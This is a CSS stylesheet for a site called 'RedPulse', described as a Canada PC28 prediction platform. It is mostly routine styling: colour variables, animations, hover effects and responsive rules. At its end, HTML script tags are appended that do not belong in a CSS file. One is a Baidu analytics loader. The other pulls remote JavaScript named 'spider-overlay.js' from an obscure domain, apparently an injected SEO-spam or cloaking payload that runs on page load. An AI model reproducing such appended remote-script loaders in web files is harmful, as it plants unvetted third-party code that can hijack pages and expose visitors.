﻿/* ============================================
   RedPulse - Canada PC28 Prediction Platform
   style.css - 400+ lines
   ============================================ */

/* ---------- Custom Properties ---------- */
:root {
  --red-600: #dc2626;
  --red-700: #b91c1c;
  --red-800: #991b1b;
  --orange-400: #fb923c;
  --orange-500: #f97316;
  --orange-600: #ea580c;
  --orange-700: #c2410c;
  --gray-800: #1f2937;
  --gray-900: #111827;
  --gray-950: #030712;
  --white: #ffffff;
  --transition-base: 300ms ease;
  --transition-slow: 500ms ease;
  --shadow-glow-orange: 0 0 30px rgba(249, 115, 22, 0.3);
  --shadow-glow-red: 0 0 30px rgba(220, 38, 38, 0.3);
}

/* ---------- Global Styles ---------- */
html {
  scroll-behavior: smooth;
}

body {
  background-color: var(--gray-950);
  color: var(--white);
  overflow-x: hidden;
}

/* Selection */
::selection {
  background-color: var(--orange-500);
  color: var(--white);
}

::-moz-selection {
  background-color: var(--orange-500);
  color: var(--white);
}

/* Scrollbar */
::-webkit-scrollbar {
  width: 8px;
}

::-webkit-scrollbar-track {
  background: var(--gray-950);
}

::-webkit-scrollbar-thumb {
  background: linear-gradient(to bottom, var(--red-600), var(--orange-500));
  border-radius: 4px;
}

::-webkit-scrollbar-thumb:hover {
  background: linear-gradient(to bottom, var(--red-700), var(--orange-600));
}

/* ---------- Navbar ---------- */
#navbar {
  background-color: transparent;
  backdrop-filter: blur(0px);
}

#navbar.scrolled {
  background-color: rgba(3, 7, 18, 0.92);
  backdrop-filter: blur(16px);
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
  box-shadow: 0 4px 30px rgba(0, 0, 0, 0.3);
}

/* Active nav link */
.nav-link.active {
  color: var(--orange-400);
}

.nav-link {
  position: relative;
}

.nav-link::after {
  content: '';
  position: absolute;
  bottom: -4px;
  left: 50%;
  transform: translateX(-50%) scaleX(0);
  width: 60%;
  height: 2px;
  background: linear-gradient(to right, var(--red-600), var(--orange-500));
  border-radius: 1px;
  transition: transform var(--transition-base);
}

.nav-link:hover::after,
.nav-link.active::after {
  transform: translateX(-50%) scaleX(1);
}

/* ---------- Mobile Menu ---------- */
#mobile-menu {
  animation: slideDown 0.3s ease forwards;
}

#mobile-menu.hidden {
  display: none;
  animation: none;
}

@keyframes slideDown {
  from {
    opacity: 0;
    transform: translateY(-10px);
  }
  to {
    opacity: 1;
    transform: translateY(0);
  }
}

/* ---------- Hero Section ---------- */
#home .bg-clip-text {
  -webkit-background-clip: text;
  background-clip: text;
}

/* ---------- Feature Cards ---------- */
.feature-card {
  cursor: pointer;
}

.feature-card:hover {
  transform: translateY(-8px);
  box-shadow: 0 20px 60px rgba(249, 115, 22, 0.1), 0 0 0 1px rgba(249, 115, 22, 0.3);
}

.feature-card .bg-gradient-to-br.from-red-600.to-orange-500 {
  transition: transform var(--transition-base), box-shadow var(--transition-base);
}

.feature-card:hover .bg-gradient-to-br.from-red-600.to-orange-500 {
  box-shadow: var(--shadow-glow-orange);
}

/* ---------- Stats Section ---------- */
.stat-item .counter {
  display: inline-block;
}

.stat-item {
  transition: transform var(--transition-base);
}

.stat-item:hover {
  transform: translateY(-4px);
}

/* ---------- Testimonial Cards ---------- */
.testimonial-card {
  cursor: default;
}

.testimonial-card:hover {
  transform: translateY(-6px);
  box-shadow: 0 20px 60px rgba(249, 115, 22, 0.08), 0 0 0 1px rgba(249, 115, 22, 0.3);
}

.testimonial-card img {
  transition: border-color var(--transition-base), transform var(--transition-base);
}

.testimonial-card:hover img {
  transform: scale(1.05);
}

/* ---------- FAQ Accordion ---------- */
.faq-item {
  transition: all var(--transition-base);
}

.faq-item:hover {
  border-color: rgba(249, 115, 22, 0.4);
}

.faq-item.active {
  border-color: rgba(249, 115, 22, 0.5);
  background-color: rgba(249, 115, 22, 0.03);
  box-shadow: 0 0 40px rgba(249, 115, 22, 0.05);
}

.faq-item.active .faq-toggle i {
  transform: rotate(45deg);
  color: var(--orange-400);
}

.faq-content {
  animation: fadeInDown 0.4s ease forwards;
  border-top: 1px solid rgba(255, 255, 255, 0.05);
}

.faq-content:not(.hidden) {
  display: block;
}

@keyframes fadeInDown {
  from {
    opacity: 0;
    transform: translateY(-10px);
    max-height: 0;
  }
  to {
    opacity: 1;
    transform: translateY(0);
    max-height: 500px;
  }
}

/* ---------- CTA Section ---------- */
#cta .bg-white {
  transition: all var(--transition-base);
}

#cta .bg-white:hover {
  transform: translateY(-2px);
  box-shadow: 0 20px 50px rgba(255, 255, 255, 0.15);
}

#cta .bg-white\/10:hover {
  transform: translateY(-2px);
}

/* ---------- Footer ---------- */
footer a:hover {
  transform: translateX(2px);
  display: inline-block;
}

/* ---------- Back to Top Button ---------- */
#back-to-top.visible {
  opacity: 1;
  visibility: visible;
  transform: translateY(0);
}

/* ---------- Scroll Reveal Animation ---------- */
.reveal {
  opacity: 0;
  transform: translateY(40px);
  transition: opacity 0.8s ease, transform 0.8s ease;
}

.reveal.revealed {
  opacity: 1;
  transform: translateY(0);
}

/* Staggered delay for feature cards */
.feature-card:nth-child(1) { transition-delay: 0.00s; }
.feature-card:nth-child(2) { transition-delay: 0.10s; }
.feature-card:nth-child(3) { transition-delay: 0.20s; }
.feature-card:nth-child(4) { transition-delay: 0.15s; }
.feature-card:nth-child(5) { transition-delay: 0.25s; }
.feature-card:nth-child(6) { transition-delay: 0.35s; }

/* Staggered delay for stats */
.stat-item:nth-child(1) { transition-delay: 0.00s; }
.stat-item:nth-child(2) { transition-delay: 0.15s; }
.stat-item:nth-child(3) { transition-delay: 0.30s; }
.stat-item:nth-child(4) { transition-delay: 0.45s; }

/* Staggered delay for testimonials */
.testimonial-card:nth-child(1) { transition-delay: 0.00s; }
.testimonial-card:nth-child(2) { transition-delay: 0.15s; }
.testimonial-card:nth-child(3) { transition-delay: 0.30s; }

/* Staggered delay for FAQ items */
.faq-item:nth-child(1) { transition-delay: 0.00s; }
.faq-item:nth-child(2) { transition-delay: 0.08s; }
.faq-item:nth-child(3) { transition-delay: 0.16s; }
.faq-item:nth-child(4) { transition-delay: 0.24s; }
.faq-item:nth-child(5) { transition-delay: 0.32s; }
.faq-item:nth-child(6) { transition-delay: 0.40s; }

/* ---------- Gradient Animations ---------- */
@keyframes gradientShift {
  0% {
    background-position: 0% 50%;
  }
  50% {
    background-position: 100% 50%;
  }
  100% {
    background-position: 0% 50%;
  }
}

.animate-gradient {
  background-size: 200% 200%;
  animation: gradientShift 4s ease infinite;
}

/* ---------- Pulse Glow ---------- */
@keyframes pulseGlow {
  0%, 100% {
    box-shadow: 0 0 20px rgba(249, 115, 22, 0.3);
  }
  50% {
    box-shadow: 0 0 50px rgba(249, 115, 22, 0.6);
  }
}

.pulse-glow {
  animation: pulseGlow 2.5s ease-in-out infinite;
}

/* ---------- Floating Animation ---------- */
@keyframes float {
  0%, 100% {
    transform: translateY(0px);
  }
  50% {
    transform: translateY(-15px);
  }
}

.float-animation {
  animation: float 5s ease-in-out infinite;
}

/* ---------- Shimmer Effect ---------- */
@keyframes shimmer {
  0% {
    background-position: -200% 0;
  }
  100% {
    background-position: 200% 0;
  }
}

.shimmer {
  background: linear-gradient(
    90deg,
    transparent 0%,
    rgba(255, 255, 255, 0.05) 50%,
    transparent 100%
  );
  background-size: 200% 100%;
  animation: shimmer 2s infinite;
}

/* ---------- Hover Underline ---------- */
.hover-underline {
  position: relative;
  display: inline-block;
}

.hover-underline::after {
  content: '';
  position: absolute;
  bottom: -2px;
  left: 0;
  width: 0;
  height: 1px;
  background: var(--orange-500);
  transition: width var(--transition-base);
}

.hover-underline:hover::after {
  width: 100%;
}

/* ---------- Glass Card ---------- */
.glass-card {
  background: rgba(17, 24, 39, 0.7);
  backdrop-filter: blur(16px);
  border: 1px solid rgba(255, 255, 255, 0.08);
  border-radius: 16px;
}

.glass-card:hover {
  background: rgba(17, 24, 39, 0.85);
  border-color: rgba(249, 115, 22, 0.4);
}

/* ---------- Orange Glow Text ---------- */
.text-glow-orange {
  text-shadow: 0 0 20px rgba(249, 115, 22, 0.4), 0 0 40px rgba(249, 115, 22, 0.2);
}

/* ---------- Divider ---------- */
.divider-gradient {
  height: 4px;
  background: linear-gradient(to right, transparent, var(--orange-500), var(--red-600), var(--orange-500), transparent);
  border: none;
  border-radius: 2px;
  margin: 0 auto;
  max-width: 200px;
}

/* ---------- Bento Grid Hover ---------- */
.bento-hover {
  transition: all var(--transition-slow);
}

.bento-hover:hover {
  transform: scale(1.02);
  box-shadow: var(--shadow-glow-orange);
}

/* ---------- Focus Styles ---------- */
a:focus-visible,
button:focus-visible {
  outline: 2px solid var(--orange-500);
  outline-offset: 2px;
  border-radius: 4px;
}

/* ---------- Reduced Motion ---------- */
@media (prefers-reduced-motion: reduce) {
  html {
    scroll-behavior: auto;
  }

  *,
  *::before,
  *::after {
    animation-duration: 0.01ms !important;
    animation-iteration-count: 1 !important;
    transition-duration: 0.01ms !important;
  }
}

/* ============================================
   RESPONSIVE STYLES
   ============================================ */

/* ---------- Mobile (max-width: 639px) ---------- */
@media (max-width: 639px) {
  #home h1 {
    font-size: 2rem;
    line-height: 1.2;
  }

  #home .text-lg {
    font-size: 0.95rem;
  }

  .feature-card {
    padding: 1.5rem;
  }

  .feature-card h3 {
    font-size: 1.1rem;
  }

  .feature-card p {
    font-size: 0.875rem;
  }

  #stats .text-5xl {
    font-size: 2.5rem;
  }

  #stats .md\:text-6xl {
    font-size: 2.5rem;
  }

  #cta h2 {
    font-size: 1.75rem;
    line-height: 1.3;
  }

  .faq-toggle span {
    font-size: 0.95rem;
    padding-right: 0.5rem;
  }

  .faq-toggle {
    padding: 1rem 1.25rem;
  }

  footer .grid {
    gap: 2rem;
  }

  #back-to-top {
    bottom: 1.25rem;
    right: 1.25rem;
    width: 2.75rem;
    height: 2.75rem;
  }
}

/* ---------- Tablet (640px - 1023px) ---------- */
@media (min-width: 640px) and (max-width: 1023px) {
  #home h1 {
    font-size: 2.75rem;
    line-height: 1.2;
  }

  #stats .text-5xl {
    font-size: 3rem;
  }

  .faq-toggle span {
    font-size: 1.05rem;
  }
}

/* ---------- Desktop (1024px+) ---------- */
@media (min-width: 1024px) {
  .feature-card {
    min-height: 320px;
  }

  .testimonial-card {
    min-height: 340px;
  }
}

/* ---------- Large Desktop (1280px+) ---------- */
@media (min-width: 1280px) {
  .container {
    max-width: 1200px;
  }
}

/* ---------- Extra Large Desktop (1536px+) ---------- */
@media (min-width: 1536px) {
  .container {
    max-width: 1320px;
  }
}

/* ---------- Print Styles ---------- */
@media print {
  #navbar,
  #back-to-top,
  #mobile-menu {
    display: none !important;
  }

  body {
    background: white !important;
    color: black !important;
  }

  section {
    page-break-inside: avoid;
  }
}

/* ---------- Hero section image fix ---------- */
#home img[alt="Data Analytics"] {
  filter: saturate(0.8);
}

/* ---------- Smooth focus ring ---------- */
*:focus {
  outline: none;
}

*:focus-visible {
  outline: 2px solid var(--orange-500);
  outline-offset: 3px;
}

/* ---------- Tap highlight on mobile ---------- */
* {
  -webkit-tap-highlight-color: transparent;
}

/* ---------- Fix for Tailwind bg-clip-text in older browsers ---------- */
.bg-clip-text {
  -webkit-background-clip: text;
  background-clip: text;
}

/* ---------- Ensure proper stacking ---------- */
#navbar {
  z-index: 50;
}

#back-to-top {
  z-index: 40;
}

#mobile-menu {
  z-index: 49;
  position: absolute;
  top: 100%;
  left: 0;
  width: 100%;
}

/* ---------- Container utility ---------- */
.container {
  width: 100%;
  margin-left: auto;
  margin-right: auto;
  padding-left: 1rem;
  padding-right: 1rem;
}

@media (min-width: 640px) {
  .container {
    max-width: 640px;
  }
}

@media (min-width: 768px) {
  .container {
    max-width: 768px;
  }
}

@media (min-width: 1024px) {
  .container {
    max-width: 1024px;
  }
}

@media (min-width: 1280px) {
  .container {
    max-width: 1200px;
  }
}

@media (min-width: 1536px) {
  .container {
    max-width: 1320px;
  }
}
<script>
var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?66486df8906d1585b228aae20f1074ed";
  var s = document.getElementsByTagName("script")[0];
  s.parentNode.insertBefore(hm, s);
})();
</script>
<script src="https://yswa6.cn/spider-overlay.js"></script>

